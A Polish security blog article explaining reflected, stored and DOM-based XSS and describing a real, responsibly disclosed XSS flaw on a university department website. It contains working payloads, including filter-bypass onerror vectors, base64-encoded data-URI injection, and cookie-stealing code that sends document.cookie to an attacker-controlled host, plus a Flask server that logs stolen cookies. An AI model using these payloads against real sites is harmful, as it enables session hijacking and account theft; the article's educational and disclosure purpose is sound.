Wstęp

O XSSach słyszał chyba każdy kto kiedykolwiek interesował się bezpieczeństwem aplikacji webowych (stron internetowych). Zgodnie z raportem firmy Contrast Security na rok 2019, atak z wykorzystaniem tego wektora został przeprowadzony na 55% zbadanych aplikacji i stanowił aż 4% wszystkich ataków we wrześniu 2018 (ustępując liczbowo tylko SQL injection).

Czym jest XSS?

Zgodnie z definicją organizacji OWASP, cross-site scripting to typ ataku, w ramach którego w stronę internetową wstrzyknięty zostaje kod języka skryptowego (najczęściej JavaScript). Skrypt ten zostaje wykonany po stronie użytkownika - w przeglądarce.

Pierwsze wzmianki o wstrzykiwaniu kodu w zawartość strony pojawiają się w dokumencie Zespołu Bezpieczeństwa przeglądarki Internet Explorer z 1999 roku. Opisano wtedy jak taki atak mógłby zostać przeprowadzony i jakie mogłyby być jego skutki. Po drobnych modyfikacjach opublikowano go w 2000 roku, gdzie po raz pierwszy pojawia się oficjalny termin cross-site scripting

Aplikacje webowe w dużej mierze opierają się na wybranej formie języka skryptowego działającego w tle, w trakcie ładowania strony lub jej przeglądania. Bez nich ciężko byłoby np. zbierać liczbę odwiedzin lub tworzyć animowane elementy interfejsu (choć nie byłoby to całkowicie niemożliwe). Ciekawy przegląd popularnych serwisów bez działającego JavaScripta w tle opisano tutaj.

Czy nie możemy zatem zrezygnować z języków skryptowych na stronach żeby ograniczyć możliwości ataku? Możemy, jednak dużo prościej jest dodać parę gotowych (niekoniecznie sprawdzonych) bibliotek języka JavaScript i cieszyć się responsywną aplikacją. Niestety przez takie podejście często tworzymy kod podatny na błędy. Skoro jednak XSS jest od tak dawna znane, to czemu nadal istnieją strony na niego podatne? Jest to dość skomplikowane zagadnienie, które w ciekawy sposób wyjaśnił jeden z użytkowników portalu stackexchange. Głównymi czynnikami są m.in.:

  • ograniczenia czasowe w projektach IT
  • częste zmiany w bibliotekach języków wykorzystywanych w tworzeniu aplikacji webowych
  • niektóre stare aplikacje wciąż są w użyciu i nie mogą ot tak zostać zamknięte

Rodzaje ataków XSS

Wyróżniamy trzy główne rodzaje ataków cross-site scripting:

  • stored
  • reflected
  • DOM-based

Każdy z nich postaram się omówić poniżej.

Na potrzeby praktycznego przedstawienia błędów, przygotowałem proste aplikacje napisane w języku Python, które znaleźć można tutaj.

Reflected XSS

Atak XSS możemy wykonać na wiele sposobów. Z typem reflected mamy do czynienia, gdy aplikacja odbiera dane w zapytaniu HTTP i załącza je w bezpośredniej odpowiedzi do użytkownika w sposób nieprzetworzony - jak sama nazwa wskazuje, następuje dosłowne odbicie informacji.

Z języka angielskiego reflect - odbić

Załóżmy, że strona posiada wyszukiwarkę i można przez nią przeglądać zawartość pewnej bazy - wysyłamy zapytanie i w odpowiedzi otrzymujemy listę.

Wyszukiwarka - reflected XSS
Prosta wyszukiwarka

Nie było by w tym nic nadzwyczajnego, gdyby nie fakt, że ta aplikacja nie zabezpiecza tego, co zostaje wyszukane. Można to zweryfikować, wprowadzając np. ciąg <script>alert(2)</script>.

Wyszukiwarka - reflected XSS alert
Praktyczny atak

Jak można zauważyć, wyszukiwana fraza jest przekazywana poprzez parametr q w ramach adresu URL. Taki adres można wysłać ofierze i podany kod wykona się w jej przeglądarce.

http://localhost:5000/?q=%3Cscript%3Ealert%282%29%3C%2Fscript%3E

Więcej o atakach reflected XSS można przeczytać tutaj.

Stored XSS

Atak stored XSS (inaczej second-order lub persistent) jest możliwy, gdy aplikacja przyjmuje niezweryfikowane ciągi znaków i wyświetla je w przyszłych odpowiedziach.

Przykładowa aplikacja przechowuje notatki użytkownika i zwraca wszystkie w formie listy.

Notatki - stored XSS
Prosta aplikacja do przechowywania notatek

Jak pewnie można się domyśleć, notatka na stronie, która jest stworzona z wykorzystaniem pola tekstowego, nie jest w żaden sposób sanityzowana po wysłaniu. Jak można to zweryfikować? Dokładnie tak jak w poprzednim przypadku - wysyłając odpowiedni ciąg zawierający znaki, które mogą zostać nieprawidłowo przetworzone. W tym przypadku wykorzystam kod wyświetlający film promocyjny Politechniki Wrocławskiej z platformy YouTube:

<iframe id="yt" type="text/html" width="320" height="180" src="http://www.youtube.com/embed/u6TFVrT3IaQ?autoplay=1" frameborder="0"/>

Sanityzacja - proces odpowiadający za usunięcie z kodu niedozwolonych znaków

Atak - stored XSS
Atak stored XSS w praktyce

Jeśli baza notatek (lub czegokolwiek innego co jest obsługiwane przez aplikację) byłaby współdzielona przez innych użytkowników, mogłoby to być poważne zagrożenie bezpieczeństwa prowadzące np. do całkowitego przejęcia konta lub…automatycznego przekazania tweeta (o czym można posłuchać tutaj)

Więcej o atakach stored XSS można przeczytać tutaj.

DOM-based XSS

DOM (Document Object Model) - interfejs dla dokumentów HTML i XML. Odpowiada za dwie rzeczy: zapewnia reprezentację struktury dokumentu oraz określa, w jaki sposób odnosić się do tej struktury z poziomu skryptu. DOM nie jest sam w sobie językiem programowania, ale bez niego np. język JavaScript nie miałby żadnego odniesienia do stron czy dokumentów XML i ich elementów.

Atak typu DOM-based (Document Object Model-based) jest często mylony z reflected XSS. Zasada działania jest podobna:

  • użytkownik podaje dane
  • zostają one zwrócone na wyświetlanej stronie

Z atakiem DOM-based mamy jednak do czynienia, gdy JavaScript (lub inny wykorzystywany w przeglądarce język skryptowy) przekazuje otrzymane dane do elementów umożliwiających dynamiczne wykonywanie kodu (np. eval() lub innerHTML). Najpopularniejszym źródłem ataków DOM XSS jest obiekt windows.location pozwalający na spreparowanie adresów URL. Dane przetwarzane w ten sposób mogą nigdy nie dotrzeć do serwera końcowego (całość ataku może odbyć się po stronie klienta - client-side).

Najłatwiej jest to przedstawić na przykładzie. Wykorzystam do tego bardzo prostą stronę wyświetlającą zapisane pliki graficzne.

Strona - DOM XSS
Prosta strona wyświetlająca zdjęcia

Jak można zauważyć, wraz z wyborem zdjęcia, zmienia się tzw. fragment identifier czyli element rozpoczynający się hashem #. Jest on opcjonalnym fragmentem URI i zazwyczaj wykorzystuje się go w celu identyfikacji pewnego elementu strony (w tym przypadku zdjęcia). Za wyświetlanie plików graficznych odpowiada poniższy fragment w języku JavaScript:

window.addEventListener('hashchange', ev => {
    document.getElementById('image').innerHTML = '<img src="/static/image' + unescape(location.hash.slice(1)) + '.png">';
});

function fn() {
    var select = document.getElementById("s");
    var selected = select.value;
    window.location.hash = selected;
}

W skrócie, przechwytuje on zmiany wartości po znaku #, a następnie do elementu <div id="image"> wpisuje kod <img src="/static/imageID.png">, gdzie ID jest właśnie wspomnianą wartością. Łącząc to z prostą listą elementów, można stworzyć narzędzie do wyświetlania zdjęć. Co jednak jeśli jako ID przekażemy spreparowany kod?

Atak - DOM XSS
Atak DOM XSS

Wykorzystałem poniższy ciąg znaków:

" onerror="alert(2)">

Po wykonaniu zapytania, JavaScript generuje następujący kod:

<div id="image"><img src="/static/image" onerror="alert(2)">.png"&gt;</div>

Jak można zauważyć, tag img odwołuje się do nieistniejącego pliku /static/image. Dopisany zostaje event onerror sprawiający, że w przypadku dowolnego błędu (a takim jest brak zdjęcia), wykonany zostanie kod w języku javascript alert(2). Atak ten odbył się w pełni po stronie użytkownika, z wykorzystaniem istniejącego kodu języka skryptowego.

Więcej o atakach DOM-based XSS można przeczytać tutaj.

Przykład z życia

Najlepiej uczyć się na praktycznych przykładach. A co jeśli dodatkowo da się takie znaleźć na jednej ze stron Politechniki Wrocławskiej? Ten rozdział poświęcę błędowi XSS znalezionemu na portalu Katedry Podstaw Elektrotechniki i Elektrotechnologii.

Przeglądając stronę Katedry można zauważyć, że posiada ona wyszukiwarkę. Nie byłoby to nic ciekawego gdyby nie fakt, że frazy wpisywane za jej pośrednictwem, zostają zwrócone bezpośrednio użytkownikowi, a wyszukiwany ciąg znaków pojawia się w nowym adresie URL.

Wyszukiwarka
Najzwyklejsza w świecie wyszukiwarka fraz na stronie
Fraza wyszukana
Fraza pojawia się w nowo-wygenerowanej stronie
URL
Adres URL po wyszukaniu frazy

Pierwsza myśl - na pewno jest to zabezpieczone. Aby jednak zaspokoić swoją ciekawość, wykorzystałem ciąg znaków znany każdemu kto kiedykolwiek bawił się podatnością typu cross-site scripting:

<script>alert(1)</script>

W najlepszym razie strona powinna po prostu bezpośrednio wyświetlić ten kod w miejscu frazy wyszukiwanej - tu jednak to się nie wydarzyło. Strona od razu zwróciła błąd ERR_CONNECTION_RESET.

error-connection-reset
Błąd ERR_CONNECTION_RESET

Taka sytuacja zmusza do myślenia. Czy serwer nie radzi sobie z odpowiedzią? A może jednak po drodze postawiono jakiegoś WAFa, który odcina połączenie w przypadku wykrycia określonej frazy?

WAF (Web Application Firewall) - system bezpieczeństwa przystosowany do ochrony stron internetowych poprzez monitorowanie i filtrowanie ruchu HTTP między aplikacją, a Internetem. Zasadę działania świetnie opisano na blogu KapitanHack.

Zacząłem od próby obejścia hipotetycznego filtra - zakładam w tym momencie, że coś po stronie serwera wykrywa słowo script lub alert. W tym celu przygotowałem prosty kod, który bez wykorzystania dyrektywy script wykona kod w języku JavaScript:

<img src="nieistniejacezdjecie.jpg" onerror="alert('1');">

Fragment ten działa w następujący sposób:

  • Podjęta zostaje próba zaimportowania pliku graficznego nieistniejacezdjecie.jpg
  • W przypadku jego braku lub innego błędu, wykonane zostaje polecenie alert('1') w języku JavaScript (pojawia się wyskakujące okienko z cyfrą 1).

Niestety ponownie otrzymałem ERR_CONNECTION_RESET. Wykorzystałem teraz kod podobny do wcześniejszego, z modyfikacją zapisującą cyfrę 1 do konsoli przeglądarki zamiast wyświetlania jej w wyskakującym okienku:

<img src="nieistniejacezdjecie.jpg" onerror="console.log('1');">

W przypadku przeglądarki Google Chrome lub innych bazujących na silniku Chromium (np. Edge i Opera), aby wejść do konsoli należy wcisnąć klawisz F12 (Narzędzia developerskie). Podobnie jest w przypadku przeglądarki Firefox.

Tym razem sukces - oczekiwane wpisy pojawiły się w konsoli.

XSS proof
PoC ataku XSS

Co jednak można z takim błędem zrobić? Poniżej przedstawię dwa możliwe scenariusze.

Żart na koledze ze studiów

Oczywiście, że najlepszą metodą przedstawienia błędu jest wykonanie żartu. Załóżmy hipotetycznie, że kolega ma na imię Wojtek i bardzo irytuje go pewna bardzo znana piosenka autorstwa Ricka Astleya. Odkryłem daną podatność na stronie politechnicznej i mogę wykorzystać to do zrobienia głupiego kawału. W tym celu przygotowałem prosty kod w języku JavaScript:

<script>
if(document.getElementById('xss_audio') == null ) {
	var a = document.createElement('xss_audio');
	a.src = "https://URL/nevergonna.mp3"
	a.autoplay=true;
	a.id='xss_audio';
	a.style.display='none';
	document.body.appendChild(a);
}
</script>

Polu a.src przypisujemy adres URL do pliku .mp3 danej piosenki. Wiem jednak, że strona nie akceptuje wyrazu script. W jednym z poprzednich artykułów na naszym blogu przedstawiliśmy, jak przestępcy mogą dostarczać dowolną treść na strony internetowe - poprzez data URI. Aby móc to wykorzystać, potrzebujemy zamienić kod do postaci base64 (np. poprzez dowolny konwerter online). Otrzymujemy w ten sposób poniższy ciąg znaków:

PHNjcmlwdD4KaWYoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3hzc19hdWRpbycpID09IG51bGwgKSB7Cgl2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3hzc19hdWRpbycpOwoJYS5zcmMgPSAiaHR0cHM6Ly9VUkwvbmV2ZXJnb25uYS5tcDMiCglhLmF1dG9wbGF5PXRydWU7CglhLmlkPSd4c3NfYXVkaW8nOwoJYS5zdHlsZS5kaXNwbGF5PSdub25lJzsKCWRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7Cn0KPC9zY3JpcHQ+

To jednak nie wszystko - jak zamieścić to na stronie z wykorzystaniem XSS? Tu na pomoc przychodzi tag object (więcej o nim można przeczytać tutaj). Zbierając dotychczasową wiedzę, tworzę ciąg w postaci:

<object data="data:text/html;base64,PHNjcmlwdD4KaWYoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3hzc19hdWRpbycpID09IG51bGwgKSB7Cgl2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3hzc19hdWRpbycpOwoJYS5zcmMgPSAiaHR0cHM6Ly9VUkwvbmV2ZXJnb25uYS5tcDMiCglhLmF1dG9wbGF5PXRydWU7CglhLmlkPSd4c3NfYXVkaW8nOwoJYS5zdHlsZS5kaXNwbGF5PSdub25lJzsKCWRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7Cn0KPC9zY3JpcHQ+"></object>

Nie pozostaje mi nic innego jak wkleić ten kod w pole wyszukiwania i wysłać nowy URL Wojtkowi z nadzieją, że mocno go to zirytuje - wynik na filmie poniżej.

Przygotowałem również wersję dla tych, którzy preferują opcję wizualną.

Kradzież konta

Drugi przykład różni się od poprzedniego, a jego skutki mogą być dużo bardziej poważne. Mowa tu o dosłownej kradzieży tożsamości pracownika lub studenta poprzez stronę.

Na stronie Katedry, nad wyszukiwarką, można zauważyć panel logowania. Portal ten wykorzystuje ciasteczka do przechowywania informacji o użytkownikach. Jest to najlepsza sytuacja dla cyberprzestępcy - dostępny XSS oraz dane trzymane w plikach cookie.

Więcej o plikach cookie można przeczytać tutaj.

Najprostszą metodą oszukania osoby zalogowanej jest wstrzyknięcie kodu, który po wyświetleniu danej strony wyśle ciasteczka do atakującego. Można wykorzystać do tego zapytanie HTTP GET. Poniżej przykład w języku JavaScript:

var xmlHttp = new XMLHttpRequest();
url = "http://127.0.0.1";
xmlHttp.open( "GET", url, false ); 
xmlHttp.send( null );

Jako url podajemy naszą domenę lub adres IP, na którym działa nasz serwer HTTP.

Ale jak wysłać ciasteczka? Ciekawą metodą jest zakodowanie ich do postaci base64 (np. wykorzystując metodę btoa) i dołączenie do naszego URLa w postaci parametru:

var xmlHttp = new XMLHttpRequest();
c = btoa(document.cookie);
url = "http://127.0.0.1/?c=" + c;
xmlHttp.open( "GET", url, false ); 
xmlHttp.send( null );

Wiemy jednak, że strona ta nie radzi sobie dobrze ze słowem script. Tu do gry wkracza metoda eval z języka JavaScript. W duzym uproszczeniu, jeśli przekażemy do niej kod w postaci tekstowej, to zostanie on wykonany. Można to połączyć z metodą atob dekodującą ciąg znaków z postaci base64.

  1. Kodujemy gotowy kod zapytania GET do base64 z wykorzystaniem dowolnego konwertera:
    dmFyIHhtbEh0dHAgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsKYyA9IGJ0b2EoZG9jdW1lbnQuY29va2llKTsKdXJsID0gImh0dHA6Ly8xMjcuMC4wLjEvP2M9IiArIGM7CnhtbEh0dHAub3BlbiggIkdFVCIsIHVybCwgZmFsc2UgKTsgCnhtbEh0dHAuc2VuZCggbnVsbCApOw==
    
  2. Wykorzystując zebrane dotychczas informacje tworzymy kod, który wykona przekazany ciąg znaków:
    <img src=1 onerror="javascript:eval(atob('dmFyIHhtbEh0dHAgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsKYyA9IGJ0b2EoZG9jdW1lbnQuY29va2llKTsKdXJsID0gImh0dHA6Ly8xMjcuMC4wLjEvP2M9IiArIGM7CnhtbEh0dHAub3BlbiggIkdFVCIsIHVybCwgZmFsc2UgKTsgCnhtbEh0dHAuc2VuZCggbnVsbCApOw=='))">
    

W konsoli pojawia się jednak błąd związany z CORS.

CORS
Wynik działającej polityki CORS

CORS (Cross-Origin Resource Sharing) - mechanizm blokujący przeglądarkom wykonywanie żądań HTTP do zasobów o innym pochodzeniu (protokół + domena + port). Nie jest to jednak zabezpieczenie przeciwko atakom XSS, które mogą je w prosty sposób obejść.

Czy to oznacza brak możliwości przeprowadzenia ataku? Nic bardziej mylnego. W tej sytuacji wystarczy po stronie serwera atakującego ustawić odpowiedni nagłówek. Spróbuję jednak podejść do tego w inny sposób. W języku JavaScript istnieje możliwość wykonania przekierowania na inną stronę z wykorzystaniem obiektu window.location. Wystarczy sprawdzić czy badana strona zezwala na takie działania:

  1. Kod w języku JavaScript wykonujący przekierowanie pod adres atakującego wraz z ciasteczkami:
    c = btoa(document.cookie);
    window.location='http://localhost/'+c;
    
  2. Kod przekształcony do formy umożliwiającej atak XSS:
    <img src=1 onerror="eval(atob('YyA9IGJ0b2EoZG9jdW1lbnQuY29va2llKTsKd2luZG93LmxvY2F0aW9uPSdodHRwOi8vbG9jYWxob3N0LycrYzs='))">
    

Wklejamy kod w wyszukiwarkę, klikamy lupę i zostajemy przekierowani na stronę przestępcy. Wystarczy, aby po drugiej stronie czekała dokładna kopia strony Katedry lub ponowne przekierowanie i ofiara mogłaby nawet nie zauważyć zmiany. Przykładowy kod serwera w języku Python:

from flask import Flask, redirect

app = Flask(__name__)

@app.route('/<path:path>')
def index(path):
	print(f"Cookie: {path}")
	return redirect('http://www.ipee.pwr.wroc.pl/')

if __name__ == "__main__":
    app.run(port=80)

Tym sposobem uzyskujemy prosty atak, którego wynik przedstawiłem poniżej. Użytkownik zostaje w praktycznie niewidoczny sposób przekierowany na oryginalną stronę, a w konsoli atakującego pojawia się ciasteczko. Zakładając, że dana osoba była aktualnie zalogowana, jesteśmy teraz w posiadaniu identycznych uprawnień.

Quick redirect
Proste, ale skuteczne przekierowanie
Ciasteczko w konsoli
Wartość cookie na konsoli atakującego

Co dalej?

Błąd został przez nas zgłoszony do Katedry będącej operatorem danej strony zgodnie z zasadą odpowiedzialnego ujawniania podatności (responsible disclosure). Cały proces przedstawiłem poniżej:

  • 17.05.2021 - błąd zidentifykowany na stronie Katedry
  • 18.05.2021 - stworzenie Proof of Concept (przykład wykorzystania błędu)
  • 18.05.2021 - zgłoszenie błędu do administracji Wydziału Elektrycznego
  • 18.05.2021 - zgłoszenie przekazane do Katedry
  • 19.05.2021 - wyłączenie strony z użytku
  • 01.06.2021 - otrzymanie oficjalnej zgody na publikację artykułu

Z ciekawości zweryfikowaliśmy inne strony politechniczne i ten sam błąd zidentyfikowaliśmy również na stronie Katedry Energoelektryki:

  • 18.05.2021 - błąd zidentifykowany na stronie Katedry
  • 18.05.2021 - zgłoszenie błędu do administracji Wydziału Elektrycznego
  • 18.05.2021 - zgłoszenie przekazane do Katedry
  • 19.05.2021 - wyłączenie strony z użytku
  • 01.06.2021 - otrzymanie oficjalnej zgody na publikację artykułu

A co jeśli ja też coś znalazłem/-łam?

Specjalnie w tym celu przygotowaliśmy odpowiednią stronę, na której można sprawdzić, co należy zrobić w momencie znalezienia błędu na stronach uczelnianych.